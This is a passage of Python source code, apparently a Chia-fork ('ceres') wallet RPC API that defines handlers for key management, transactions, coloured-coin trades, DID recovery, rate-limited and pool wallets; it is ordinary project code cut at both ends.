ceres.wallet.wallet_node import WalletNode from ceres.util.config import load_config from ceres.consensus.coinbase import create_puzzlehash_for_pk # Timeout for response from wallet/full node for sending a transaction TIMEOUT = 30 log = logging.getLogger(__name__) class WalletRpcApi: def __init__(self, wallet_node: WalletNode): assert wallet_node is not None self.service = wallet_node self.service_name = "chia_wallet" def get_routes(self) -> Dict[str, Callable]: return { # Key management "/log_in": self.log_in, "/get_public_keys": self.get_public_keys, "/get_private_key": self.get_private_key, "/generate_mnemonic": self.generate_mnemonic, "/add_key": self.add_key, "/delete_key": self.delete_key, "/check_delete_key": self.check_delete_key, "/delete_all_keys": self.delete_all_keys, # Wallet node "/get_sync_status": self.get_sync_status, "/get_height_info": self.get_height_info, "/farm_block": self.farm_block, # Only when node simulator is running # this function is just here for backwards-compatibility. It will probably # be removed in the future "/get_initial_freeze_period": self.get_initial_freeze_period, "/get_network_info": self.get_network_info, # Wallet management "/get_wallets": self.get_wallets, "/create_new_wallet": self.create_new_wallet, # Wallet "/get_wallet_balance": self.get_wallet_balance, "/get_transaction": self.get_transaction, "/get_transactions": self.get_transactions, "/get_next_address": self.get_next_address, "/send_transaction": self.send_transaction, "/send_transaction_multi": self.send_transaction_multi, "/create_backup": self.create_backup, "/get_transaction_count": self.get_transaction_count, "/get_farmed_amount": self.get_farmed_amount, "/create_signed_transaction": self.create_signed_transaction, "/delete_unconfirmed_transactions": self.delete_unconfirmed_transactions, # Coloured coins and trading "/cc_set_name": self.cc_set_name, "/cc_get_name": self.cc_get_name, "/cc_spend": self.cc_spend, "/cc_get_colour": self.cc_get_colour, "/create_offer_for_ids": self.create_offer_for_ids, "/get_discrepancies_for_offer": self.get_discrepancies_for_offer, "/respond_to_offer": self.respond_to_offer, "/get_trade": self.get_trade, "/get_all_trades": self.get_all_trades, "/cancel_trade": self.cancel_trade, # DID Wallet "/did_update_recovery_ids": self.did_update_recovery_ids, "/did_spend": self.did_spend, "/did_get_pubkey": self.did_get_pubkey, "/did_get_did": self.did_get_did, "/did_recovery_spend": self.did_recovery_spend, "/did_get_recovery_list": self.did_get_recovery_list, "/did_create_attest": self.did_create_attest, "/did_get_information_needed_for_recovery": self.did_get_information_needed_for_recovery, "/did_create_backup_file": self.did_create_backup_file, # RL wallet "/rl_set_user_info": self.rl_set_user_info, "/send_clawback_transaction:": self.send_clawback_transaction, "/add_rate_limited_funds:": self.add_rate_limited_funds, # Pool Wallet "/pw_join_pool": self.pw_join_pool, "/pw_self_pool": self.pw_self_pool, "/pw_absorb_rewards": self.pw_absorb_rewards, "/pw_status": self.pw_status, } async def _state_changed(self, *args) -> List[WsRpcMessage]: """ Called by the WalletNode or WalletStateManager when something has changed in the wallet. This gives us an opportunity to send notifications to all connected clients via WebSocket. """ if len(args) < 2: return [] data = { "state": args[0], } if args[1] is not None: data["wallet_id"] = args[1] if args[2] is not None: data["additional_data"] = args[2] return [create_payload_dict("state_changed", data, "chia_wallet", "wallet_ui")] async def _stop_wallet(self): """ Stops a currently running wallet/key, which allows starting the wallet with a new key. Each key has it's own wallet database. """ if self.service is not None: self.service._close() await self.service._await_closed() ########################################################################################## # Key management ########################################################################################## async def log_in(self, request): """ Logs in the wallet with a specific key. """ fingerprint = request["fingerprint"] if self.service.logged_in_fingerprint == fingerprint: return {"fingerprint": fingerprint} await self._stop_wallet() log_in_type = request["type"] recovery_host = request["host"] testing = False if "testing" in self.service.config and self.service.config["testing"] is True: testing = True if log_in_type == "skip": started = await self.service._start(fingerprint=fingerprint, skip_backup_import=True) elif log_in_type == "restore_backup": file_path = Path(request["file_path"]) started = await self.service._start(fingerprint=fingerprint, backup_file=file_path) else: started = await self.service._start(fingerprint) if started is True: return {"fingerprint": fingerprint} elif testing is True and self.service.backup_initialized is False: response = {"success": False, "error": "not_initialized"} return response elif self.service.backup_initialized is False: backup_info = None backup_path = None try: private_key = await self.service.get_key_for_fingerprint(fingerprint) last_recovery = await download_backup(recovery_host, private_key) backup_path = path_from_root(self.service.root_path, "last_recovery") if backup_path.exists(): backup_path.unlink() backup_path.write_text(last_recovery) backup_info = get_backup_info(backup_path, private_key) backup_info["backup_host"] = recovery_host backup_info["downloaded"] = True except Exception as e: log.error(f"error {e}") response = {"success": False, "error": "not_initialized"} if backup_info is not None: response["backup_info"] = backup_info response["backup_path"] = f"{backup_path}" return response return {"success": False, "error": "Unknown Error"} async def get_public_keys(self, request: Dict): try: assert self.service.keychain_proxy is not None # An offering to the mypy gods fingerprints = [ sk.get_g1().get_fingerprint() for (sk, seed) in await self.service.keychain_proxy.get_all_private_keys() ] except KeyringIsLocked: return {"keyring_is_locked": True} except Exception: return {"public_key_fingerprints": []} else: return {"public_key_fingerprints": fingerprints} async def _get_private_key(self, fingerprint) -> Tuple[Optional[PrivateKey], Optional[bytes]]: try: assert self.service.keychain_proxy is not None # An offering to the mypy gods all_keys = await self.service.keychain_proxy.get_all_private_keys() for sk, seed in all_keys: if sk.get_g1().get_fingerprint() == fingerprint: return sk, seed except Exception as e: log.error(f"Failed to get private key by fingerprint: {e}") return None, None async def get_private_key(self, request): fingerprint = request["fingerprint"] sk, seed = await self._get_private_key(fingerprint) if sk is not None: s = bytes_to_mnemonic(seed) if seed is not None else None return { "private_key": { "fingerprint": fingerprint, "sk": bytes(sk).hex(), "pk": bytes(sk.get_g1()).hex(), "farmer_pk": bytes(master_sk_to_farmer_sk(sk).get_g1()).hex(), "pool_pk": bytes(master_sk_to_pool_sk(sk).get_g1()).hex(), "seed": s, }, } return {"success": False, "private_key": {"fingerprint": fingerprint}} async def generate_mnemonic(self, request: Dict): return {"mnemonic": generate_mnemonic().split(" ")} async def add_key(self, request): if "mnemonic" not in request: raise ValueError("Mnemonic not in request") # Adding a key from 24 word mnemonic mnemonic = request["mnemonic"] passphrase = "" try: sk = await self.service.keychain_proxy.add_private_key(" ".join(mnemonic), passphrase) except KeyError as e: return { "success": False, "error": f"The word '{e.args[0]}' is incorrect.'", "word": e.args[0], } except Exception as e: return {"success": False, "error": str(e)} fingerprint = sk.get_g1().get_fingerprint() await self._stop_wallet() # Makes sure the new key is added to config properly started = False try: await self.service.keychain_proxy.check_keys(self.service.root_path) except Exception as e: log.error(f"Failed to check_keys after adding a new key: {e}") request_type = request["type"] if request_type == "new_wallet": started = await self.service._start(fingerprint=fingerprint, new_wallet=True) elif request_type == "skip": started = await self.service._start(fingerprint=fingerprint, skip_backup_import=True) elif request_type == "restore_backup": file_path = Path(request["file_path"]) started = await self.service._start(fingerprint=fingerprint, backup_file=file_path) if started is True: return {"fingerprint": fingerprint} raise ValueError("Failed to start") async def delete_key(self, request): await self._stop_wallet() fingerprint = request["fingerprint"] try: await self.service.keychain_proxy.delete_key_by_fingerprint(fingerprint) except Exception as e: log.error(f"Failed to delete key by fingerprint: {e}") return {"success": False, "error": str(e)} path = path_from_root( self.service.root_path, f"{self.service.config["database_path"]}-{fingerprint}", ) if path.exists(): path.unlink() return {} async def _check_key_used_for_rewards( self, new_root: Path, sk: PrivateKey, max_ph_to_search: int ) -> Tuple[bool, bool]: """Checks if the given key is used for either the farmer rewards or pool rewards returns a tuple of two booleans The first is true if the key is used as the Farmer rewards, otherwise false The second is true if the key is used as the Pool rewards, otherwise false Returns both false if the key cannot be found with the given fingerprint """ if sk is None: return False, False config: Dict = load_config(new_root, "config.yaml") farmer_target = config["farmer"].get("xch_target_address") pool_target = config["pool"].get("xch_target_address") found_farmer = False found_pool = False selected = config["selected_network"] prefix = config["network_overrides"]["config"][selected]["address_prefix"] for i in range(max_ph_to_search): if found_farmer and found_pool: break ph = encode_puzzle_hash(create_puzzlehash_for_pk(master_sk_to_wallet_sk(sk, uint32(i)).get_g1()), prefix) if ph == farmer_target: found_farmer = True if ph == pool_target: found_pool = True return found_farmer, found_pool async def check_delete_key(self, request): """Check the key use prior to possible deletion checks whether key is used for either farm or pool rewards checks if any wallets have a non-zero balance """ used_for_farmer: bool = False used_for_pool: bool = False walletBalance: bool = False fingerprint = request["fingerprint"] sk, _ = await self._get_private_key(fingerprint) if sk is not None: used_for_farmer, used_for_pool = await self._check_key_used_for_rewards(self.service.root_path, sk, 100) if self.service.logged_in_fingerprint != fingerprint: await self._stop_wallet() await self.service._start(fingerprint=fingerprint, skip_backup_import=True) async with self.service.wallet_state_manager.lock: wallets: List[WalletInfo] = await self.service.wallet_state_manager.get_all_wallet_info_entries() for w in wallets: wallet = self.service.wallet_state_manager.wallets[w.id] unspent = await self.service.wallet_state_manager.coin_store.get_unspent_coins_for_wallet(w.id) balance = await wallet.get_confirmed_balance(unspent) pending_balance = await wallet.get_unconfirmed_balance(unspent) if (balance + pending_balance) > 0: walletBalance = True break return { "fingerprint": fingerprint, "used_for_farmer_rewards": used_for_farmer, "used_for_pool_rewards": used_for_pool, "wallet_balance": walletBalance, } async def delete_all_keys(self, request: Dict): await self._stop_wallet() try: assert self.service.keychain_proxy is not None # An offering to the mypy gods await self.service.keychain_proxy.delete_all_keys() except Exception as e: log.error(f"Failed to delete all keys: {e}") return {"success": False, "error": str(e)} path = path_from_root(self.service.root_path, self.service.config["database_path"]) if path.exists(): path.unlink() return {} ########################################################################################## # Wallet Node ########################################################################################## async def get_sync_status(self, request: Dict): assert self.service.wallet_state_manager is not None syncing = self.service.wallet_state_manager.sync_mode synced = await self.service.wallet_state_manager.synced() return {"synced": synced, "syncing": syncing, "genesis_initialized": True} async def get_height_info(self, request: Dict): assert self.service.wallet_state_manager is not None peak = self.service.wallet_state_manager.peak if peak is None: return {"height": 0} else: return {"height": peak.height} async def get_network_info(self, request: Dict): assert self.service.wallet_state_manager is not None network_name = self.service.config["selected_network"] address_prefix = self.service.config["network_overrides"]["config"][network_name]["address_prefix"] return {"network_name": network_name, "network_prefix": address_prefix} async def farm_block(self, request): raw_puzzle_hash = decode_puzzle_hash(request["address"]) request = FarmNewBlockProtocol(raw_puzzle_hash) msg = make_msg(ProtocolMessageTypes.farm_new_block, request) await self.service.server.send_to_all([msg], NodeType.FULL_NODE) return {} ########################################################################################## # Wallet Management ########################################################################################## async def get_wallets(self, request: Dict): assert self.service.wallet_state_manager is not None wallets: List[WalletInfo] = await self.service.wallet_state_manager.get_all_wallet_info_entries() return {"wallets": wallets} async def _create_backup_and_upload(self, host) -> None: assert self.service.wallet_state_manager is not None try: if "testing" in self.service.config and self.service.config["testing"] is True: return None now = time.time() file_name = f"backup_{now}" path = path_from_root(self.service.root_path, file_name) await self.service.wallet_state_manager.create_wallet_backup(path) backup_text = path.read_text() response = await upload_backup(host, backup_text) success = response["success"] if success is False: log.error("Failed to upload backup to wallet backup service") elif success is True: log.info("Finished upload of the backup file") except Exception as e: log.error(f"Exception in upload backup. Error: {e}") async def create_new_wallet(self, request: Dict): assert self.service.wallet_state_manager is not None wallet_state_manager = self.service.wallet_state_manager main_wallet = wallet_state_manager.main_wallet host = request["host"] if "fee" in request: fee: uint64 = request["fee"] else: fee = uint64(0) if request["wallet_type"] == "cc_wallet": if request["mode"] == "new": async with self.service.wallet_state_manager.lock: cc_wallet: CCWallet = await CCWallet.create_new_cc( wallet_state_manager, main_wallet, request["amount"] ) colour = cc_wallet.get_colour() asyncio.create_task(self._create_backup_and_upload(host)) return { "type": cc_wallet.type(), "colour": colour, "wallet_id": cc_wallet.id(), } elif request["mode"] == "existing": async with self.service.wallet_state_manager.lock: cc_wallet = await CCWallet.create_wallet_for_cc( wallet_state_manager, main_wallet, request["colour"] ) asyncio.create_task(self._create_backup_and_upload(host)) return {"type": cc_wallet.type()} else: # undefined mode pass elif request["wallet_type"] == "rl_wallet": if request["rl_type"] == "admin": log.info("Create rl admin wallet") async with self.service.wallet_state_manager.lock: rl_admin: RLWallet = await RLWallet.create_rl_admin(wallet_state_manager) success = await rl_admin.admin_create_coin( uint64(int(request["interval"])), uint64(int(request["limit"])), request["pubkey"], uint64(int(request["amount"])), uint64(int(request["fee"])) if "fee" in request else uint64(0), ) asyncio.create_task(self._create_backup_and_upload(host)) assert rl_admin.rl_info.admin_pubkey is not None return { "success": success, "id": rl_admin.id(), "type": rl_admin.type(), "origin": rl_admin.rl_info.rl_origin, "pubkey": rl_admin.rl_info.admin_pubkey.hex(), } elif request["rl_type"] == "user": log.info("Create rl user wallet") async with self.service.wallet_state_manager.lock: rl_user: RLWallet = await RLWallet.create_rl_user(wallet_state_manager) asyncio.create_task(self._create_backup_and_upload(host)) assert rl_user.rl_info.user_pubkey is not None return { "id": rl_user.id(), "type": rl_user.type(), "pubkey": rl_user.rl_info.user_pubkey.hex(), } else: # undefined rl_type pass elif request["wallet_type"] == "did_wallet": if request["did_type"] == "new": backup_dids = [] num_needed = 0 for d in request["backup_dids"]: backup_dids.append(hexstr_to_bytes(d)) if len(backup_dids) > 0: num_needed = uint64(request["num_of_backup_ids_needed"]) async with self.service.wallet_state_manager.lock: did_wallet: DIDWallet = await DIDWallet.create_new_did_wallet( wallet_state_manager, main_wallet, int(request["amount"]), backup_dids, uint64(num_needed), ) my_did = did_wallet.get_my_DID() return { "success": True, "type": did_wallet.type(), "my_did": my_did, "wallet_id": did_wallet.id(), } elif request["did_type"] == "recovery": async with self.service.wallet_state_manager.lock: did_wallet = await DIDWallet.create_new_did_wallet_from_recovery( wallet_state_manager, main_wallet, request["filename"] ) assert did_wallet.did_info.temp_coin is not None assert did_wallet.did_info.temp_puzhash is not None assert did_wallet.did_info.temp_pubkey is not None my_did = did_wallet.get_my_DID() coin_name = did_wallet.did_info.temp_coin.name().hex() coin_list = did_wallet.did_info.temp_coin.as_list() newpuzhash = did_wallet.did_info.temp_puzhash pubkey = did_wallet.did_info.temp_pubkey return { "success": True, "type": did_wallet.type(), "my_did": my_did, "wallet_id": did_wallet.id(), "coin_name": coin_name, "coin_list": coin_list, "newpuzhash": newpuzhash.hex(), "pubkey": pubkey.hex(), "backup_dids": did_wallet.did_info.backup_ids, "num_verifications_required": did_wallet.did_info.num_of_backup_ids_needed, } elif request["wallet_type"] == "pool_wallet": if request["mode"] == "new": owner_puzzle_hash: bytes32 = await self.service.wallet_state_manager.main_wallet.get_puzzle_hash(True) from ceres.pools.pool_wallet_info import initial_pool_state_from_dict async with self.service.wallet_state_manager.lock: last_wallet: Optional[ WalletInfo ] = await self.service.wallet_state_manager.user_store.get_last_wallet() assert last_wallet is not None next_id = last_wallet.id + 1 owner_sk: PrivateKey = master_sk_to_singleton_owner_sk( self.service.wallet_state_manager.private_key, uint32(next_id) ) owner_pk: G1Element = owner_sk.get_g1() initial_target_state = initial_pool_state_from_dict( request["initial_target_state"], owner_pk, owner_puzzle_hash ) assert initial_target_state is not None try: delayed_address = None if "p2_singleton_delayed_ph" in request: delayed_address = hexstr_to_bytes(request["p2_singleton_delayed_ph"]) tr, p2_singleton_puzzle_hash, launcher_id = await PoolWallet.create_new_pool_wallet_transaction( wallet_state_manager, main_wallet, initial_target_state, fee, request.get("p2_singleton_delay_time", None), delayed_address, ) except Exception as e: raise ValueError(str(e)) return { "transaction": tr, "launcher_id": launcher_id.hex(), "p2_singleton_puzzle_hash": p2_singleton_puzzle_hash.hex(), } elif request["mode"] == "recovery": raise ValueError("Need upgraded singleton for on-chain recovery") else: # undefined did_type pass else: # undefined wallet_type pass return None ########################################################################################## # Wallet ########################################################################################## async def get_wallet_balance(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None wallet_id = uint32(int(request["wallet_id"])) wallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: unspent_records = await self.service.wallet_state_manager.coin_store.get_unspent_coins_for_wallet(wallet_id) balance = await wallet.get_confirmed_balance(unspent_records) pending_balance = await wallet.get_unconfirmed_balance(unspent_records) spendable_balance = await wallet.get_spendable_balance(unspent_records) pending_change = await wallet.get_pending_change_balance() max_send_amount = await wallet.get_max_send_amount(unspent_records) unconfirmed_removals: Dict[ bytes32, Coin ] = await wallet.wallet_state_manager.unconfirmed_removals_for_wallet(wallet_id) wallet_balance = { "wallet_id": wallet_id, "confirmed_wallet_balance": balance, "unconfirmed_wallet_balance": pending_balance, "spendable_balance": spendable_balance, "pending_change": pending_change, "max_send_amount": max_send_amount, "unspent_coin_count": len(unspent_records), "pending_coin_removal_count": len(unconfirmed_removals), } return {"wallet_balance": wallet_balance} async def get_transaction(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None transaction_id: bytes32 = bytes32(hexstr_to_bytes(request["transaction_id"])) tr: Optional[TransactionRecord] = await self.service.wallet_state_manager.get_transaction(transaction_id) if tr is None: raise ValueError(f"Transaction 0x{transaction_id.hex()} not found") return { "transaction": tr, "transaction_id": tr.name, } async def get_transactions(self, request: Dict) -> Dict: assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) if "start" in request: start = request["start"] else: start = 0 if "end" in request: end = request["end"] else: end = 50 transactions = await self.service.wallet_state_manager.tx_store.get_transactions_between(wallet_id, start, end) formatted_transactions = [] selected = self.service.config["selected_network"] prefix = self.service.config["network_overrides"]["config"][selected]["address_prefix"] for tx in transactions: formatted = tx.to_json_dict() formatted["to_address"] = encode_puzzle_hash(tx.to_puzzle_hash, prefix) formatted_transactions.append(formatted) return { "transactions": formatted_transactions, "wallet_id": wallet_id, } # this function is just here for backwards-compatibility. It will probably # be removed in the future async def get_initial_freeze_period(self, _: Dict): # Mon May 03 2021 17:00:00 GMT+0000 return {"INITIAL_FREEZE_END_TIMESTAMP": 1620061200} async def get_next_address(self, request: Dict) -> Dict: """ Returns a new address """ assert self.service.wallet_state_manager is not None if request["new_address"] is True: create_new = True else: create_new = False wallet_id = uint32(int(request["wallet_id"])) wallet = self.service.wallet_state_manager.wallets[wallet_id] selected = self.service.config["selected_network"] prefix = self.service.config["network_overrides"]["config"][selected]["address_prefix"] if wallet.type() == WalletType.STANDARD_WALLET: raw_puzzle_hash = await wallet.get_puzzle_hash(create_new) address = encode_puzzle_hash(raw_puzzle_hash, prefix) elif wallet.type() == WalletType.COLOURED_COIN: raw_puzzle_hash = await wallet.get_puzzle_hash(create_new) address = encode_puzzle_hash(raw_puzzle_hash, prefix) else: raise ValueError(f"Wallet type {wallet.type()} cannot create puzzle hashes") return { "wallet_id": wallet_id, "address": address, } async def send_transaction(self, request): assert self.service.wallet_state_manager is not None if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before sending transactions") wallet_id = int(request["wallet_id"]) wallet = self.service.wallet_state_manager.wallets[wallet_id] if not isinstance(request["amount"], int) or not isinstance(request["fee"], int): raise ValueError("An integer amount or fee is required (too many decimals)") amount: uint64 = uint64(request["amount"]) puzzle_hash: bytes32 = decode_puzzle_hash(request["address"]) if "fee" in request: fee = uint64(request["fee"]) else: fee = uint64(0) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.generate_signed_transaction(amount, puzzle_hash, fee) await wallet.push_transaction(tx) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": tx, "transaction_id": tx.name, } async def send_transaction_multi(self, request): assert self.service.wallet_state_manager is not None if await self.service.wallet_state_manager.synced() is False: raise ValueError("Wallet needs to be fully synced before sending transactions") wallet_id = uint32(request["wallet_id"]) wallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: transaction: TransactionRecord = (await self.create_signed_transaction(request, hold_lock=False))[ "signed_tx" ] await wallet.push_transaction(transaction) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": transaction, "transaction_id": transaction.name, } async def delete_unconfirmed_transactions(self, request): wallet_id = uint32(request["wallet_id"]) if wallet_id not in self.service.wallet_state_manager.wallets: raise ValueError(f"Wallet id {wallet_id} does not exist") async with self.service.wallet_state_manager.lock: async with self.service.wallet_state_manager.tx_store.db_wrapper.lock: await self.service.wallet_state_manager.tx_store.db_wrapper.begin_transaction() await self.service.wallet_state_manager.tx_store.delete_unconfirmed_transactions(wallet_id) if self.service.wallet_state_manager.wallets[wallet_id].type() == WalletType.POOLING_WALLET.value: self.service.wallet_state_manager.wallets[wallet_id].target_state = None await self.service.wallet_state_manager.tx_store.db_wrapper.commit_transaction() # Update the cache await self.service.wallet_state_manager.tx_store.rebuild_tx_cache() return {} async def get_transaction_count(self, request): wallet_id = int(request["wallet_id"]) count = await self.service.wallet_state_manager.tx_store.get_transaction_count_for_wallet(wallet_id) return {"wallet_id": wallet_id, "count": count} async def create_backup(self, request): assert self.service.wallet_state_manager is not None file_path = Path(request["file_path"]) await self.service.wallet_state_manager.create_wallet_backup(file_path) return {} ########################################################################################## # Coloured Coins and Trading ########################################################################################## async def cc_set_name(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] await wallet.set_name(str(request["name"])) return {"wallet_id": wallet_id} async def cc_get_name(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] name: str = await wallet.get_name() return {"wallet_id": wallet_id, "name": name} async def cc_spend(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] puzzle_hash: bytes32 = decode_puzzle_hash(request["inner_address"]) if not isinstance(request["amount"], int) or not isinstance(request["amount"], int): raise ValueError("An integer amount or fee is required (too many decimals)") amount: uint64 = uint64(request["amount"]) if "fee" in request: fee = uint64(request["fee"]) else: fee = uint64(0) async with self.service.wallet_state_manager.lock: tx: TransactionRecord = await wallet.generate_signed_transaction([amount], [puzzle_hash], fee) await wallet.push_transaction(tx) return { "transaction": tx, "transaction_id": tx.name, } async def cc_get_colour(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: CCWallet = self.service.wallet_state_manager.wallets[wallet_id] colour: str = wallet.get_colour() return {"colour": colour, "wallet_id": wallet_id} async def create_offer_for_ids(self, request): assert self.service.wallet_state_manager is not None offer = request["ids"] file_name = request["filename"] async with self.service.wallet_state_manager.lock: ( success, spend_bundle, error, ) = await self.service.wallet_state_manager.trade_manager.create_offer_for_ids(offer, file_name) if success: self.service.wallet_state_manager.trade_manager.write_offer_to_disk(Path(file_name), spend_bundle) return {} raise ValueError(error) async def get_discrepancies_for_offer(self, request): assert self.service.wallet_state_manager is not None file_name = request["filename"] file_path = Path(file_name) async with self.service.wallet_state_manager.lock: ( success, discrepancies, error, ) = await self.service.wallet_state_manager.trade_manager.get_discrepancies_for_offer(file_path) if success: return {"discrepancies": discrepancies} raise ValueError(error) async def respond_to_offer(self, request): assert self.service.wallet_state_manager is not None file_path = Path(request["filename"]) async with self.service.wallet_state_manager.lock: ( success, trade_record, error, ) = await self.service.wallet_state_manager.trade_manager.respond_to_offer(file_path) if not success: raise ValueError(error) return {} async def get_trade(self, request: Dict): assert self.service.wallet_state_manager is not None trade_mgr = self.service.wallet_state_manager.trade_manager trade_id = request["trade_id"] trade: Optional[TradeRecord] = await trade_mgr.get_trade_by_id(trade_id) if trade is None: raise ValueError(f"No trade with trade id: {trade_id}") result = trade_record_to_dict(trade) return {"trade": result} async def get_all_trades(self, request: Dict): assert self.service.wallet_state_manager is not None trade_mgr = self.service.wallet_state_manager.trade_manager all_trades = await trade_mgr.get_all_trades() result = [] for trade in all_trades: result.append(trade_record_to_dict(trade)) return {"trades": result} async def cancel_trade(self, request: Dict): assert self.service.wallet_state_manager is not None wsm = self.service.wallet_state_manager secure = request["secure"] trade_id = hexstr_to_bytes(request["trade_id"]) async with self.service.wallet_state_manager.lock: if secure: await wsm.trade_manager.cancel_pending_offer_safely(trade_id) else: await wsm.trade_manager.cancel_pending_offer(trade_id) return {} async def get_backup_info(self, request: Dict): file_path = Path(request["file_path"]) sk = None if "words" in request: mnemonic = request["words"] passphrase = "" try: assert self.service.keychain_proxy is not None # An offering to the mypy gods sk = await self.service.keychain_proxy.add_private_key(" ".join(mnemonic), passphrase) except KeyError as e: return { "success": False, "error": f"The word '{e.args[0]}' is incorrect.'", "word": e.args[0], } except Exception as e: return {"success": False, "error": str(e)} elif "fingerprint" in request: sk, seed = await self._get_private_key(request["fingerprint"]) if sk is None: raise ValueError("Unable to decrypt the backup file.") backup_info = get_backup_info(file_path, sk) return {"backup_info": backup_info} ########################################################################################## # Distributed Identities ########################################################################################## async def did_update_recovery_ids(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] recovery_list = [] for _ in request["new_list"]: recovery_list.append(hexstr_to_bytes(_)) if "num_verifications_required" in request: new_amount_verifications_required = uint64(request["num_verifications_required"]) else: new_amount_verifications_required = len(recovery_list) async with self.service.wallet_state_manager.lock: update_success = await wallet.update_recovery_list(recovery_list, new_amount_verifications_required) # Update coin with new ID info updated_puz = await wallet.get_new_puzzle() spend_bundle = await wallet.create_spend(updated_puz.get_tree_hash()) success = spend_bundle is not None and update_success return {"success": success} async def did_spend(self, request): wallet_id = int(request["wallet_id"]) async with self.service.wallet_state_manager.lock: wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] spend_bundle = await wallet.create_spend(request["puzzlehash"]) success = spend_bundle is not None return {"success": success} async def did_get_did(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] my_did: str = wallet.get_my_DID() async with self.service.wallet_state_manager.lock: coins = await wallet.select_coins(1) if coins is None or coins == set(): return {"success": True, "wallet_id": wallet_id, "my_did": my_did} else: coin = coins.pop() return {"success": True, "wallet_id": wallet_id, "my_did": my_did, "coin_id": coin.name()} async def did_get_recovery_list(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] recovery_list = wallet.did_info.backup_ids recover_hex_list = [] for _ in recovery_list: recover_hex_list.append(_.hex()) return { "success": True, "wallet_id": wallet_id, "recover_list": recover_hex_list, "num_required": wallet.did_info.num_of_backup_ids_needed, } async def did_recovery_spend(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] if len(request["attest_filenames"]) < wallet.did_info.num_of_backup_ids_needed: return {"success": False, "reason": "insufficient messages"} async with self.service.wallet_state_manager.lock: ( info_list, message_spend_bundle, ) = await wallet.load_attest_files_for_recovery_spend(request["attest_filenames"]) if "pubkey" in request: pubkey = G1Element.from_bytes(hexstr_to_bytes(request["pubkey"])) else: assert wallet.did_info.temp_pubkey is not None pubkey = wallet.did_info.temp_pubkey if "puzhash" in request: puzhash = hexstr_to_bytes(request["puzhash"]) else: assert wallet.did_info.temp_puzhash is not None puzhash = wallet.did_info.temp_puzhash success = await wallet.recovery_spend( wallet.did_info.temp_coin, puzhash, info_list, pubkey, message_spend_bundle, ) return {"success": success} async def did_get_pubkey(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] pubkey = bytes((await wallet.wallet_state_manager.get_unused_derivation_record(wallet_id)).pubkey).hex() return {"success": True, "pubkey": pubkey} async def did_create_attest(self, request): wallet_id = int(request["wallet_id"]) wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] async with self.service.wallet_state_manager.lock: info = await wallet.get_info_for_recovery() coin = hexstr_to_bytes(request["coin_name"]) pubkey = G1Element.from_bytes(hexstr_to_bytes(request["pubkey"])) spend_bundle = await wallet.create_attestment( coin, hexstr_to_bytes(request["puzhash"]), pubkey, request["filename"] ) if spend_bundle is not None: return { "success": True, "message_spend_bundle": bytes(spend_bundle).hex(), "info": [info[0].hex(), info[1].hex(), info[2]], } else: return {"success": False} async def did_get_information_needed_for_recovery(self, request): wallet_id = int(request["wallet_id"]) did_wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] my_did = did_wallet.get_my_DID() coin_name = did_wallet.did_info.temp_coin.name().hex() return { "success": True, "wallet_id": wallet_id, "my_did": my_did, "coin_name": coin_name, "newpuzhash": did_wallet.did_info.temp_puzhash, "pubkey": did_wallet.did_info.temp_pubkey, "backup_dids": did_wallet.did_info.backup_ids, } async def did_create_backup_file(self, request): try: wallet_id = int(request["wallet_id"]) did_wallet: DIDWallet = self.service.wallet_state_manager.wallets[wallet_id] did_wallet.create_backup(request["filename"]) return {"wallet_id": wallet_id, "success": True} except Exception: return {"wallet_id": wallet_id, "success": False} ########################################################################################## # Rate Limited Wallet ########################################################################################## async def rl_set_user_info(self, request): assert self.service.wallet_state_manager is not None wallet_id = uint32(int(request["wallet_id"])) rl_user = self.service.wallet_state_manager.wallets[wallet_id] origin = request["origin"] async with self.service.wallet_state_manager.lock: await rl_user.set_user_info( uint64(request["interval"]), uint64(request["limit"]), origin["parent_coin_info"], origin["puzzle_hash"], origin["amount"], request["admin_pubkey"], ) return {} async def send_clawback_transaction(self, request): assert self.service.wallet_state_manager is not None wallet_id = int(request["wallet_id"]) wallet: RLWallet = self.service.wallet_state_manager.wallets[wallet_id] fee = int(request["fee"]) async with self.service.wallet_state_manager.lock: tx = await wallet.clawback_rl_coin_transaction(fee) await wallet.push_transaction(tx) # Transaction may not have been included in the mempool yet. Use get_transaction to check. return { "transaction": tx, "transaction_id": tx.name, } async def add_rate_limited_funds(self, request): wallet_id = uint32(request["wallet_id"]) wallet: RLWallet = self.service.wallet_state_manager.wallets[wallet_id] puzzle_hash = wallet.rl_get_aggregation_puzzlehash(wallet.rl_info.rl_puzzle_hash) async with self.service.wallet_state_manager.lock: await wallet.rl_add_funds(request["amount"], puzzle_hash, request["fee"]) return {"status": "SUCCESS"} async def get_farmed_amount(self, request): tx_records: List[TransactionRecord] = await self.service.wallet_state_manager.tx_store.get_farming_rewards() amount = 0 pool_reward_amount = 0 farmer_reward_amount = 0 fee_amount = 0 last_height_farmed = 0 for record in tx_records: if record.wallet_id not in 